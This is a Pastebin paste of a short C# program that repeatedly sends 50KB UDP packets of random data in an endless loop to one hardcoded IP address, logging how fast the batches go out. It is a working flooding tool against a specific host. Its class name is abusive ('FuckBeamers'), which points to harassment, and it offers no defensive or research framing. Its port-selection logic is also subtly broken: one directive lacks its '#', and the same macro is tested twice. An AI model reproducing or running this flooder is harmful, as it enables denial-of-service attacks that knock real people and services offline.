Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Generates a random 50KB string to send. This can be changed, but don't make it larger than 4MB or else it will be
- * split into smaller packets by the network stack making it less efficient.
- */
- define USE_RANDOM_PAYLOAD
- /*
- * Choose which port to use
- * HTTPS: 443
- * HTTP: 80
- * [else]: 22
- */
- #define HAMMER_HTTPS
- // #define HAMMER_HTTP
- using System.Diagnostics;
- using System.Net;
- using System.Net.Sockets;
- using System.Text;
- namespace Consequences;
- public static class FuckBeamers
- {
- #if !USE_RANDOM_PAYLOAD
- private static readonly string Payload = "Fuck you";
- #endif
- private const int port =
- #if HAMMER_HTTP
- 443;
- #elif HAMMER_HTTP
- 80;
- #else
- 22;
- #endif
- #if USE_RANDOM_PAYLOAD
- private const int randomPayloadSize = (1024 * 50); // 50 KB
- #endif
- public static async Task Main(string[] args)
- {
- IPAddress ip = new([96, 61, 218, 188]);
- Socket sock = new(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- IPEndPoint endPoint = new(ip, port);
- #if !USE_RANDOM_PAYLOAD
- byte[] payload = Encoding.ASCII.GetBytes(Payload);
- int randomPayloadSize = payload.Length;
- #endif
- Stopwatch passedTimer = Stopwatch.StartNew();
- const int logCount = 500;
- int count = 0;
- while (true)
- {
- #if USE_RANDOM_PAYLOAD
- byte[] payload = Encoding.ASCII.GetBytes(GeneratePayload(randomPayloadSize));
- #endif
- await sock.SendToAsync(payload, endPoint);
- count++;
- if (count > logCount)
- {
- count = 0;
- Console.WriteLine($"Cast took {passedTimer.ElapsedMilliseconds:n00} ms for batch of {logCount} ({randomPayloadSize / 1024f:n00}KB)");
- passedTimer.Restart();
- }
- }
- }
- #if USE_RANDOM_PAYLOAD
- private static readonly Random rnd = new();
- const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
- private static string GeneratePayload(int length)
- {
- return new string([.. Enumerable.Repeat(chars, length).Select(s => s[rnd.Next(s.Length)])]);
- }
- #endif
- }
Add Comment
Please, Sign In to add comment